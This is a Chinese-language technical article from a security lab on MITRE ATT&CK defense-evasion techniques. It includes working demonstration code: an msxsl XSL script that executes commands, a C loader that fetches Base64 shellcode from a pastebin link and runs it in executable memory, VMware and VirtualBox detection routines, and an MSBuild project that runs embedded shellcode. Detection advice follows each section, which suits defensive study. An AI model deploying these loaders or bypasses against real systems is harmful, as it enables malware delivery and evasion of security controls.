作者:天融信阿爾法實驗室
公眾號:https://mp.weixin.qq.com/s/Qwc234edENL8NBxSm4d56g
一、前言
基于MITRE ATT&CK框架中關于“防御逃逸”(Defense Evasion)的戰術專題,筆者將深入介紹其中大部分防御逃逸手段的技術原理、檢測方法及緩解方案,為求簡潔直觀的表達其技術原理,本文對部分戰術的實現提供了演示性的代碼。
其實在學習MITRE ATT&CK框架并一個個實現其原理的過程中,就會發現我們慢慢的對攻擊者的攻擊思路和攻擊方向有了更清晰的認識,并逐步了解他們是如何發現新的攻擊手段的。例如在本次的防御逃逸專題中有個應用程序白名單繞過,攻擊者總會在Windows系統上找到一些被系統或殺軟信任而不會進行限制的應用程序,這些應用通常是被大家忽視或不常用的。當它們有一些可被利用的漏洞時,就會造成嚴重后果。但當我們了解了攻擊者的思路,或許就可以先他一步找到漏洞,避免損失。
當然,在網絡上充斥著大量的惡意代碼,也不斷的有新的變種出現,鑒定和分析惡意代碼也成為了安全事件響應及信息安全工程師的必備技能。希望本文能夠為從事信息安全相關工作的攻城獅帶來啟發,通過了解這些常規防御逃逸手段而幫助他們在應對入侵響應、樣本分析等方面工作能夠更加游刃有余。
本文所介紹的防御逃逸戰術情況如下:
以Att&ck中對每個防御逃逸戰術手段的描述,筆者將每個例子以及所繞過的防御來進行歸類,分類情況如下:
| 分類 | 戰術 | 簡介 |
|---|---|---|
| 數字證書驗證 | XSL腳本代碼代理執行、PubPrn代理腳本代碼執行、簽名二進制程序代理執行、regsvr32代理腳本代碼執行、mshta代理執行腳本代碼、CHM文件隱藏代碼執行 | 通過驗證數字證書,可以快速有效的驗證程序和代碼的來源,從而可以杜絕部分惡意代碼的執行。目前這些所列出的戰術,均通過利用已被可信證書簽名的程序或腳本提供的功能,實現“動態代理執行”外部的腳本或代碼,而不破壞原有程序完整性。從攻擊者角度來看,通過逆向分析具有合法簽名的程序,挖掘可濫用的點(如調用動態鏈接庫、引用外部參數),則可以利用簽名過的程序執行代碼從而突破數字證書驗證。 |
| 應用程序白名單 | XSL腳本代碼代理執行、受信任的開發人員實用程序利用、PubPrn代理腳本代碼執行、簽名二進制程序代理執行、regsvr32代理腳本代碼執行、進程注入、mshta代理執行腳本代碼、CMSTP配置文件參數利用、CHM文件隱藏代碼執行、控制面板文件代碼執行 | 不論是操作系統還是殺毒軟件,為了系統安全,當啟動某程序或者某程序執行一些敏感操作的時候,會進行提示,讓用戶選擇是否允許該操作。而所有程序都進行提示勢必會影響用戶體驗,所以在系統和殺軟中會存在白名單列表,名單中程序的運行被系統或殺軟信任而不會進行限制與提示。依據這樣的特性,攻擊者通過逆向分析白名單中的程序,挖掘可濫用的點(如調用外部動態鏈接庫、引用外部參數),則可以通過白名單程序間接的執行代碼而突破限制,這對于突破系統層面或殺軟層面的白名單限制都有幫助。 |
| 反病毒 Anti-Virus | XSL腳本代碼代理執行、虛擬化和沙箱的檢測、regsvr32代理腳本代碼執行、進程注入、利用NTFS ADS進行數據隱藏、CMSTP配置文件參數利用、本機程序編譯代碼執行、解碼文件并執行、額外窗口內存注入、入侵痕跡清除、文件加殼 | 反病毒軟件提供的保護是全面而系統的,攻擊者針對不同的防護措施通常采用不同的繞過措施。如針對文件掃描查殺,攻擊者可能會采用文件分割運行時組合的方式。針對行為查殺,則可能會采用可信程序代理執行關鍵行為的方式。繞過反病毒軟件需要分析具體防護措施的原理,以挖掘繞過和突破的方案。 |
| 繞過防火墻 | 利用可信網絡服務進行數據隱蔽傳輸 | 數據傳輸是攻擊過程中的重要一環,為繞過防火墻攔截而隱蔽傳輸數據,攻擊者可能會在通訊目標及通訊過程兩方面進行調整,以突破攔截。通訊過程中的調整主要是通訊協議、通訊頻率,將惡意的流量夾雜在正常的通訊協議中,在此基礎上,通過將通訊目標改為受信任的地址,可以突破防火墻的攔截。 |
| 靜態文件分析 | 虛擬化和沙箱的檢測、本機程序編譯代碼執行、文件加殼 | 靜態文件分析繞過戰術,有幾個方向。如運行之初首先檢測是否允許于沙箱和虛擬機而不主動執行惡意代碼,可避免被部分自動化分析環境的分析,由于自動化分析環境和正常使用的電腦環境之間一定存在某些差異(如 鼠標運動軌跡、系統已安裝的程序等等),利用這些差異來識別運行環境是否為分析環境。還有一個方向是通過技術手段避免代碼被輕易得逆向分析,代表性的手段就是加殼加密。由于代碼始終需要在客戶端進行執行,加殼加密只能是一定程度上加強反分析的能力,但強殼擁有較高的反分析能力,而普通壓縮殼反分析能力較弱。 |
| 主機取證分析 | 虛擬化和沙箱的檢測、時間戳偽裝、利用NTFS ADS進行數據隱藏、入侵痕跡清除 | 為避免被取證分析,攻擊者可能會嘗試刪除入侵痕跡、惡意代碼不落地等手段,避免在系統中留下可被分析的記錄信息,這與攻擊者的行為有關,可被捕捉并分析的記錄包含 網絡流量、文件操作、日志記錄、進程操作及注冊表記錄等等。 |
| 主機入侵防御系統 | 本機程序編譯代碼執行、解碼文件并執行、額外窗口內存注入、入侵痕跡清除 | HIPS通過文件、注冊表、程序運行三大方面進行監控而實現安全防護。為繞過HIPS的監控,可以通過尋找“代理人”來代理執行代碼,如系統中運行的某個可信程序存在代碼執行漏洞,普通程序通過觸發漏洞執行代碼以避免被HIPS攔截提示。 |
| 基于簽名的檢測 | 本機程序編譯代碼執行、解碼文件并執行、文件加殼 | 所述的基于簽名檢測即檢測文件MD5簽名,確認是否為樣本庫中所包含的惡意文件。眾所周知的是,文件內容修改任意一字節其MD5值便會發生變化,由可執行文件的文件結構存在眾多可修改的字段,故手工修改文件以繞過MD5檢測不是大的問題,重點應在于可執行文件實現運行時自修改,在運行之時自修改磁盤上的可執行程序以保證文件MD5的不斷變化,實現繞過基于簽名的檢測。 |
| 文件系統訪問控制 | 修改文件或目錄權限 | 當攻擊者侵入主機時,為了獲取更多信息,攻擊者可以修改文件或目錄權限,想辦法獲取更高的權限,以避開DACL對訪問控制的管理 |
二、詳例
1、XSL腳本代碼代理執行
原理及代碼介紹
可擴展樣式表語言(XSL)文件通常用于描述XML文件中的數據的處理方式和顯示方式,其中為了支持復雜的操作,XSL提供了對各種嵌入式腳本的支持,典型的如Javascript。攻擊者可能會通過利用此功能來代理執行任意代碼,以繞過應用程序白名單防護。
XML是一種可擴展的標記語言,被設計用來傳輸和存儲數據。XML類似于HTML,但是和HTML有著本質的區別, XML 被設計為傳輸和存儲數據,其焦點是數據的內容。HTML 被設計用來顯示數據,其焦點是數據的外觀, 即XML旨在傳輸信息,而HTML旨在顯示信息。
而XSL指擴展樣式表語言(EXtensible Stylesheet Language), XSL主要是用于基于XML的樣式表語言。XSLT是XSL中最重要的部分,XSLT指XSL Transformations,XSLT 用于將一種 XML 文檔轉換為另外一種 XML 文檔,或者可被瀏覽器識別的其他類型的文檔,比如 HTML 和 XHTML。通常,XSLT 是通過把每個 XML 元素轉換為 (X)HTML 元素來完成這項工作的。通過 XSLT,您可以向或者從輸出文件添加或移除元素和屬性。您也可重新排列元素,執行測試并決定隱藏或顯示哪個元素,等等。
微軟提供了一個名為MSXSL的命令行工具,用于執行XSL transformations操作,并可以用來執行嵌入在本地或者遠程(通過URL指定)XSL文件中的惡意JavaScript。由于該程序默認不安裝在Windows系統上,因此攻擊者可能需要將其與惡意文件打包在一起放在目標電腦上。
執行本地腳本及遠程腳本的命令行示例如下:
msxsl.exe customers.xml script.xsl
msxsl.exe http://www.google.com/customers.xml <http://www.google.com/script.xsl>
Customers.xml文件內容如下:
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="test.xsl" ?>
<customers>
<customer>
<name>Microsoft Windows </name>
</customer>
</customers>
Script.xsl 文件內容如下:
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="<http://mycompany.com/mynamespace>">
<msxsl:script language="JScript" implements-prefix="user">
function xml(nodelist)
{
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c calc.exe");
return nodelist.nextNode().xml;
}
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>
運行效果圖
通過CMD進程使用通過命令行進行帶參數的命令執行msxsl.exe,test.xsl中的JavaScript會得以執行,該代碼執行的宿主程序是msxsl.exe,最后計算器得以執行.

檢查及限制方案
通過進程來監視msxsl.exe的執行及其參數,將該程序最近的調用與歷史中已知的良好的調用進行比較,已確定異常和潛在的對抗活動。例如:URL命令行參數、外部網絡連接的創建、與腳本關聯的動態鏈接庫加載等等事件。
由于msxsl并不是系統默認附帶的,所以如果計算機中意外出現該程序,需要進一步查詢該文件的作用及來歷。
參考鏈接
XML 教程:https://www.w3school.com.cn/xml/index.asp
XSLT教程: https://www.w3school.com.cn/xsl/index.asp
ATT&CK:https://attack.mitre.org/techniques/T1220/
2、利用可信網絡服務進行數據隱蔽傳輸
原理及代碼介紹
部分攻擊者會使用現有的合法外部Web服務作為中轉服務器,將命令和數據中繼到受感染的系統中。也有攻擊者在在外部的Web服務中放置C&C服務器的信息,通過將C&C信息放在可編輯的Web服務中,受感染系統首先會與該服務進行通訊,然后解析其中數據開始連接真實的C&C服務器。
流行的網站和可信的網站可能會為數據隱蔽傳輸做一下掩蓋,因為內網的主機在被入侵之前就有與這些網站進行通信的可能性。使用常見的服務(如Google或Twitter提供的服務)可以使數據交互更容易隱藏。另外Web服務提供商通常使用SSL/TLS加密,這些也為攻擊者提供了額外的保護。
使用Web服務存放C&C服務器信息,可以避免因將該信息硬編碼到樣本中而被分析發現的可能,同時還可以實現C&C服務器的彈性操作(可以動態修改Web服務中的C&C服務器信息)。
以下總結Att&CK中列舉的知名APT組織或工具使用的相關技術手段,粗略分類可分為三大類:
| 技術手段 | APT組織、工具名稱 | 備注 |
|---|---|---|
| 在Web服務中保存C&C信息,實現彈性C&C連接 | APT12、APT37、APT41、BlackCoffee、HAMMERTOSS、Kazuar、Leviathan、LOWBALL、Magic Hound、MiniDuke、OnionDuke、Orz、POORAIM、PowerStallion、Revenge RAT、RTM、Xbash | AOL、Twitter、Dropbox、Box 、Github、PasteBin、Microsoft TechNet、tumbler、BlogSpot、Google Apps、Yandex、SOAP web、RSS |
| 通過web服務進行數據中轉(如文件傳輸、控制命令下發、下載Payload動態等等) | Carbanak、CloudDuke、RogueRobin、ROKRAT、SLOWDRIFT、Turla、Twitoor、UBoatRAT、BRONZE BUTLER | Microsoft OneDrive、Yandex、Mediafire、Twitter |
| 偽裝或利用其他協議流量進行隱蔽通信 | Comnie、GLOOXMAIL | HTTP、DNS、Jabber / XMPP協議 |
| 這里以下載Payload并執行為例,模擬演示使用Web服務存儲可執行代碼,利用客戶端程序下載并執行的過程。下圖為Payload代碼,Payload運行后僅彈出提示框證明代碼執行成功,首先將代碼取出并Base64編碼,以便以文本方式進行網絡提交和保存: |

Base64編碼后的內容如下

將編碼后的內容上載到pastebin.com,生成一個可訪問的鏈接

生成后的地址如下:https://pastebin.com/raw/LXrbf7PW,當請求該頁面,返回的內容為我們編碼后的代碼。

通過編寫如下代碼,完成下載并執行代碼的過程。代碼較長,這里簡述一下執行流程:
-
模擬發送HTTPS請求獲取指定頁面的內容
-
BASE64解碼所下載的二進制數據
-
將二進制字符串轉為二進制數值,并申請一段可執行的內存地址存放該代碼
-
創建新的線程,將代碼執行起來
bool read_webpage()
{
bool ret = false;
int decode_len = 0;
BYTE pAllData[4096] = {0};
BYTE pDecodeData[4096] = {0};
BYTE* pMessageBody = NULL;
BYTE* pCode = NULL;
HANDLE hNewThread = NULL;
LPCTSTR lpszServerName = L"www.pastebin.com"; //欲訪問的服務器
LPCTSTR lpszObjectName = L"/raw/LXrbf7PW"; //欲訪問的頁面
INTERNET_PORT nServerPort = INTERNET_DEFAULT_HTTPS_PORT; // HTTPS端口443
LPCTSTR lpszAgent = L"WinInetGet/0.1";
HINTERNET hInternet = InternetOpen( lpszAgent,INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
LPCTSTR lpszUserName = NULL;
LPCTSTR lpszPassword = NULL;
DWORD dwConnectFlags = 0;
DWORD dwConnectContext = 0;
HINTERNET hConnect = InternetConnect(hInternet,lpszServerName, nServerPort,lpszUserName, lpszPassword,INTERNET_SERVICE_HTTP,dwConnectFlags, dwConnectContext);
LPCTSTR lpszVerb = L"GET";
LPCTSTR lpszVersion = NULL;
LPCTSTR lpszReferrer = NULL;
LPCTSTR *lplpszAcceptTypes = NULL;
DWORD dwOpenRequestFlags = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP |
INTERNET_FLAG_KEEP_CONNECTION |
INTERNET_FLAG_NO_AUTH |
INTERNET_FLAG_NO_COOKIES |
INTERNET_FLAG_NO_UI |
INTERNET_FLAG_SECURE |
INTERNET_FLAG_RELOAD;
DWORD dwOpenRequestContext = 0;
HINTERNET hRequest = HttpOpenRequest( hConnect, lpszVerb, lpszObjectName, lpszVersion,
lpszReferrer, lplpszAcceptTypes,dwOpenRequestFlags, dwOpenRequestContext);
BOOL bResult = HttpSendRequest(hRequest, NULL, 0, NULL, 0);
if (!bResult)
{
fprintf(stderr, "HttpSendRequest failed, error = %d (0x%x)\n",GetLastError(), GetLastError());
goto SAFE_EXIT;
}
DWORD dwInfoLevel = HTTP_QUERY_RAW_HEADERS_CRLF;
DWORD dwInfoBufferLength = 2048;
BYTE *pInfoBuffer = (BYTE *)malloc(dwInfoBufferLength+2);
while (!HttpQueryInfo(hRequest, dwInfoLevel, pInfoBuffer, &dwInfoBufferLength, NULL))
{
DWORD dwError = GetLastError();
if (dwError == ERROR_INSUFFICIENT_BUFFER)
{
free(pInfoBuffer);
pInfoBuffer = (BYTE *)malloc(dwInfoBufferLength + 2);
}
else
{
fprintf(stderr, "HttpQueryInfo failed, error = %d (0x%x)\n",
GetLastError(), GetLastError());
break;
}
}
pInfoBuffer[dwInfoBufferLength] = '\0';
pInfoBuffer[dwInfoBufferLength + 1] = '\0';
//printf("%S", pInfoBuffer);
free(pInfoBuffer);
DWORD dwBytesAvailable;
//讀取raw數據
while (InternetQueryDataAvailable(hRequest, &dwBytesAvailable, 0, 0))
{
pMessageBody = (BYTE *)malloc(dwBytesAvailable+1);
DWORD dwBytesRead;
BOOL bResult = InternetReadFile(hRequest, pMessageBody,
dwBytesAvailable, &dwBytesRead);
if (!bResult)
{
fprintf(stderr, "InternetReadFile failed, error = %d (0x%x)\n",
GetLastError(), GetLastError());
goto SAFE_EXIT;
}
if (dwBytesRead == 0)
{
break;
}
pMessageBody[dwBytesRead] = '\0';
strcat((char*)pAllData, (char*)pMessageBody);
free(pMessageBody);
}
printf((char*)pAllData);
//base64 解碼, 跳過開頭的forTEST{}
if(base64_decode((char*)pAllData + 8, strlen((char*)pAllData) - 9, (char*)pDecodeData, 4096))
{
goto SAFE_EXIT;
}
decode_len = strlen((char*)pDecodeData);
//進一步將字符串轉為16進制值
pCode = (BYTE*)VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pCode == NULL)
{
goto SAFE_EXIT;
}
for (int i = 0; i < (decode_len/2); i++)
{
char t[3] = {0};
t[0] = pDecodeData[i * 2 + 0];
t[1] = pDecodeData[i * 2 + 1];
pCode[i] = (unsigned char)strtoul(t, NULL, 16);
}
//創建線程執行下載的代碼
hNewThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)pCode, NULL, NULL, NULL);
WaitForSingleObject(hNewThread, INFINITE);
ret = true;
SAFE_EXIT:
if (pMessageBody != NULL)
{
free(pMessageBody);
pMessageBody = NULL;
}
if (pCode != NULL)
{
VirtualFree(pCode, 0,MEM_RELEASE);
}
return ret;
}
int _tmain(int argc, _TCHAR* argv[])
{
read_webpage();
return 0;
}
最后執行情況如下:

檢查和緩解方案
檢測方法:
-
分析網絡數據中不常見的數據流(例如,客戶端發送的數據明顯多于從服務器接收的數據),用戶行為監視可能有助于檢測異常活動模式。另外通訊頻率也是至關重要的考量單位,單位時間內高頻率的Web訪問需要重點關注其具體行為。
-
分析數據包內容以檢測未遵循所使用端口的預期協議行為的通信。
緩解方案:
-
使用網絡簽名識別特定攻擊者惡意程序的流量,通過網絡入侵檢測和網絡訪問限制防御系統緩解網絡級別的惡意活動。
-
使用Web代理實施外部網絡通訊策略,以防止使用未經授權的外部網絡訪問服務。
參考鏈接
Att&ck:https://attack.mitre.org/techniques/T1102/
3、虛擬化和沙箱的檢測
原理及代碼介紹
惡意軟件分析人員經常會使用隔離的環境(如 虛擬機、沙箱)來分析未知程序中的惡意代碼,為了逃避分析并繞過安全系統檢測,惡意軟件作者通常會添加代碼來檢測目前是否運行在隔離的環境。一旦檢測到這種環境,惡意軟件就可以阻止惡意代碼運行,或者可以改變惡意軟件的行為,從而避免在VM中運行時暴露惡意活動。
例如:在真實硬件上運行時,惡意軟件將連接到其C&C服務器,但是在檢測到VM時,它將連接到合法域名,從而使分析人員或自動安全檢測系統認為這是合法代碼。
攻擊者可以通過搜索安全監測工具(例如Sysinternals,Wireshark等)來確定目前是否為分析環境。通過搜索流行的虛擬化方案的固有特征以監測是否運行在虛擬化環境中, 如搜索VMTools進程是否存在以確認是否在VMWare中運行。在惡意代碼中使用計時器或循環,來監測代碼是否在沙箱中運行。
虛擬機軟件主要是模仿真實硬件的硬件功能,但是通常會在操作系統中存在一些特征,這有助于表明它確實是虛擬機而不是物理機。這些特征可能是特定的文件、進程、注冊表項、服務或者是網絡設備適配器等等。利用這一“設計缺陷”,編碼以檢測虛擬機配置文件、可執行文件、注冊表項或其他特征,從而操縱其原始執行流程。此行為稱為“反沙箱”或“反VM”。Att&ck中列舉了多種策略,惡意軟件使用這些策略來檢查流行的沙箱和虛擬環境,下面筆者將以一些常規策略為例,介紹其檢測手法及代碼實現的原理。
通過WMI 檢查主板信息及BIOS信息,以確認是否在虛擬機中運行
在虛擬機中安裝的操作系統, 由于其部分硬件為虛構出來的, 有不少硬件存在固定的特征,可以利用該特征來確認是否運行于虛擬機中。如BIOS信息、硬盤信息。眾所周知,通過Windows系統中WMI提供的接口可以查詢到操作系統中絕大多數的相關信息。如下圖所示,通過命令行調用WMIC在使用WMI查詢硬盤信息,可以確認,默認的虛擬機中其硬盤名稱中包含Vmware 字樣,而真實物理機中通常不含這樣的信息:


進一步查詢BIOS 的編號,不難發現其編號中也有Vmware字樣,而真實物理機中卻不包含。


我們完全可以以這樣的差異,用于檢測代碼是否運行在虛擬系統中,如下的代碼演示了通過新建命令行程序并執行查詢BIOS編號,通過檢查其中是否有Vmware字符串來確定是否允許于Vmware虛擬機中,同理,讀者可以嘗試一下在其他諸如VirtualBox的虛擬化環境中是否有這樣的特征.
/*
通過WMI查詢, 檢查主板信息和BIOS信息,以確認是否在VM中運行
*/
bool checkvm_by_wmiinfo()
{
bool ret = false;
DWORD cb = 0;
DWORD need_read_cb;
DWORD data_avail;
HANDLE new_process;
STARTUPINFO si;
PROCESS_INFORMATION pi;
HANDLE read_pipe_handle, write_pipe_handle;
SECURITY_ATTRIBUTES sa_attr;
BYTE read_buffer[0x1000];
sa_attr.nLength = sizeof(SECURITY_ATTRIBUTES);
sa_attr.bInheritHandle = TRUE;
sa_attr.lpSecurityDescriptor = NULL;
if(!CreatePipe(&read_pipe_handle, &write_pipe_handle, &sa_attr, 0))
{
goto Error_Exit;
}
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
GetStartupInfo(&si);
si.cb = sizeof(si);
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.hStdOutput = write_pipe_handle;
si.hStdError = write_pipe_handle;
if (!CreateProcess(_TEXT("c:\\windows\\system32\\cmd.exe"), _TEXT("\/c wmic bios get serialnumber"), NULL,
NULL, TRUE, NULL, NULL, NULL, &si, &pi))
{
goto Error_Exit;
}
WaitForSingleObject(pi.hProcess, INFINITE);
do
{
if (!PeekNamedPipe(read_pipe_handle, NULL, NULL, &need_read_cb, &data_avail, NULL) || data_avail <= 0)
{
break;
}
if (!ReadFile(read_pipe_handle, read_buffer,data_avail, &cb, NULL))
{
goto Error_Exit;
}
//讀取的 read_buffer 可能為unicode 編碼!!!
if(strstr((char*)read_buffer, ("VMware")) != NULL)
{
ret = true;
break;
}
} while (true);
Error_Exit:
if(read_pipe_handle != NULL)
{
CloseHandle(read_pipe_handle);
read_pipe_handle = NULL;
}
if(write_pipe_handle != NULL)
{
CloseHandle(write_pipe_handle);
write_pipe_handle = NULL;
}
if(pi.hProcess != NULL)
{
CloseHandle(pi.hProcess);
}
if (pi.hThread != NULL)
{
CloseHandle(pi.hThread);
}
return ret;
}
搜索系統中的進程名稱,通過檢查是否正在運行有流行虛擬機的特有進程,來檢查是否運行在虛擬機中
虛擬機為了實現某些功能,通常需要在虛擬的系統中安裝一些程序,通過這些程序配合宿主機中安裝的程序來完成,如下圖所示的vmtoolsd進程,即為VMware實現拖拽功能所須安裝的程序,通常情況下,虛擬機都會安裝該程序以實現真機和虛擬機的無縫拖拽功能。

/*
搜索系統中的進程名稱,通過檢查流行虛擬機的特有進程,來檢查是否運行在虛擬機中
*/
bool checkvm_by_process()
{
bool ret = false;
HANDLE process_snap;
PROCESSENTRY32 pe32;
process_snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (process_snap == INVALID_HANDLE_VALUE)
{
goto Error_Exit;
}
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(process_snap, &pe32))
{
goto Error_Exit;
}
do
{
if ((lstrcmp(pe32.szExeFile, _TEXT("vmtoolsd.exe")) == 0) ||
(lstrcmp(pe32.szExeFile, _TEXT("vmwaretrat.exe")) == 0)||
(lstrcmp(pe32.szExeFile, _TEXT("vmwareuser.exe")) == 0)||
(lstrcmp(pe32.szExeFile, _TEXT("vmacthlp.exe")) == 0)||
(lstrcmp(pe32.szExeFile, _TEXT("vboxservice.exe")) == 0)||
(lstrcmp(pe32.szExeFile, _TEXT("vboxtray.exe")) == 0))
{
ret = true;
break;
}
} while (Process32Next(process_snap, &pe32));
Error_Exit:
if (process_snap != INVALID_HANDLE_VALUE)
{
CloseHandle(process_snap);
process_snap = INVALID_HANDLE_VALUE;
}
return ret;
}
檢查及限制方案
一般而言,虛擬機及沙箱的檢測無法通過預防性控制進行環境,因為它基于濫用系統功能
參考鏈接
ATT&CK:https://attack.mitre.org/techniques/T1497
4、受信任的開發人員實用程序利用
原理及代碼介紹
有許多實用程序用于軟件開發相關的任務,這些實用程序可以用于執行各種形式的代碼,以幫助開發人員進行快速開發、調試和逆向工程。這些實用程序通常擁有合法證書進行簽名,以使他們可以在系統上執行,通過這些可信任的進程代理執行惡意代碼,可以繞過系統中應用程序防御白名單機制。以下將以MSBuild為例,說明該例。
Microsoft Build Engine 是一個用于生成應用程序的平臺。 此引擎(也稱為 MSBuild)為項目文件提供了一個 XML 架構,用于控制生成平臺處理和生成軟件的方式。 Visual Studio 會使用 MSBuild,但它不依賴于 Visual Studio。 通過在項目或解決方案文件中調用 msbuild.exe ,可以在未安裝 Visual Studio 的環境中安排和生成產品。
Visual Studio 使用 MSBuild 來加載和生成托管項目。 Visual Studio 中的項目文件(.csproj 、.vbproj 、vcxproj 等)包含 MSBuild XML 代碼,當你使用 IDE 來生成項目時,此代碼就會運行。 Visual Studio 項目會導入所有必要的設置和生成過程來執行典型的開發工作,但你可以從 Visual Studio 內或通過使用 XML 編輯器對其進行擴展或修改。
攻擊者可以使用MSBuild通過受信任的Windows實用工具進行代碼代理執行,以繞過系統的Applocker 或者 是殺軟的白名單檢查機制。 .Net 4中引入的MSBuild內聯任務功能允許將C#代碼插入XML項目文件中,MSBuild將編譯并執行內聯任務。MSBuild.exe是一個經過Microsoft簽名的二進制文件,因此以這種方式使用它時,可以執行執行任意代碼,并繞過配置為允許MSBuild執行的應用程序白名單防護。

MSBuild可編譯特定格式的XML文件,在.NET Framework 4.0中支持了一項新功能”Inline Tasks”,被包含在元素UsingTask中,可用來在XML文件中執行C#代碼, 如下的XML文件中包含了加載并執行Shellcode的過程:
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes shellcode. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
<!-- Save This File And Execute The Above Command -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
public override bool Execute()
{
byte[] shellcode = new byte[304]{
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x14, 0x53, 0x8D, 0x45, 0xEC, 0xC7, 0x45, 0xEC, 0x75, 0x73, 0x65,
0x72, 0x33, 0xDB, 0xC7, 0x45, 0xF0, 0x33, 0x32, 0x2E, 0x64, 0x50, 0xB9, 0x4C, 0x77, 0x26, 0x07,
0x66, 0xC7, 0x45, 0xF4, 0x6C, 0x6C, 0x88, 0x5D, 0xF6, 0xC7, 0x45, 0xF8, 0x74, 0x6F, 0x70, 0x73,
0x66, 0xC7, 0x45, 0xFC, 0x65, 0x63, 0x88, 0x5D, 0xFE, 0xE8, 0x1A, 0x00, 0x00, 0x00, 0xFF, 0xD0,
0x53, 0x8D, 0x45, 0xF8, 0xB9, 0x45, 0x83, 0x56, 0x07, 0x50, 0x50, 0x53, 0xE8, 0x07, 0x00, 0x00,
0x00, 0xFF, 0xD0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x83, 0xEC, 0x10, 0x64, 0xA1, 0x30, 0x00, 0x00,
0x00, 0x53, 0x55, 0x56, 0x8B, 0x40, 0x0C, 0x57, 0x89, 0x4C, 0x24, 0x18, 0x8B, 0x70, 0x0C, 0xE9,
0x8A, 0x00, 0x00, 0x00, 0x8B, 0x46, 0x30, 0x33, 0xC9, 0x8B, 0x5E, 0x2C, 0x8B, 0x36, 0x89, 0x44,
0x24, 0x14, 0x8B, 0x42, 0x3C, 0x8B, 0x6C, 0x10, 0x78, 0x89, 0x6C, 0x24, 0x10, 0x85, 0xED, 0x74,
0x6D, 0xC1, 0xEB, 0x10, 0x33, 0xFF, 0x85, 0xDB, 0x74, 0x1F, 0x8B, 0x6C, 0x24, 0x14, 0x8A, 0x04,
0x2F, 0xC1, 0xC9, 0x0D, 0x3C, 0x61, 0x0F, 0xBE, 0xC0, 0x7C, 0x03, 0x83, 0xC1, 0xE0, 0x03, 0xC8,
0x47, 0x3B, 0xFB, 0x72, 0xE9, 0x8B, 0x6C, 0x24, 0x10, 0x8B, 0x44, 0x2A, 0x20, 0x33, 0xDB, 0x8B,
0x7C, 0x2A, 0x18, 0x03, 0xC2, 0x89, 0x7C, 0x24, 0x14, 0x85, 0xFF, 0x74, 0x31, 0x8B, 0x28, 0x33,
0xFF, 0x03, 0xEA, 0x83, 0xC0, 0x04, 0x89, 0x44, 0x24, 0x1C, 0x0F, 0xBE, 0x45, 0x00, 0xC1, 0xCF,
0x0D, 0x03, 0xF8, 0x45, 0x80, 0x7D, 0xFF, 0x00, 0x75, 0xF0, 0x8D, 0x04, 0x0F, 0x3B, 0x44, 0x24,
0x18, 0x74, 0x20, 0x8B, 0x44, 0x24, 0x1C, 0x43, 0x3B, 0x5C, 0x24, 0x14, 0x72, 0xCF, 0x8B, 0x56,
0x18, 0x85, 0xD2, 0x0F, 0x85, 0x6B, 0xFF, 0xFF, 0xFF, 0x33, 0xC0, 0x5F, 0x5E, 0x5D, 0x5B, 0x83,
0xC4, 0x10, 0xC3, 0x8B, 0x74, 0x24, 0x10, 0x8B, 0x44, 0x16, 0x24, 0x8D, 0x04, 0x58, 0x0F, 0xB7,
0x0C, 0x10, 0x8B, 0x44, 0x16, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x10, 0x03, 0xC2, 0xEB, 0xDB
};
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
該XML文件中包含的C#代碼,采用了VirtualAlloc()申請內存空間,并將Shellcode拷貝到該地址,最后調用CreateThread()創建線程開始執行,并等待shellcode執行完畢后退出。其中Shellcode由VS編譯生成的可執行文件提取而來,運行后彈出提示框。如下圖所示:

使用CMD執行”MSBuild execute shellcode.xml” 指定的shellcode 便執行起來

檢查及限制方案
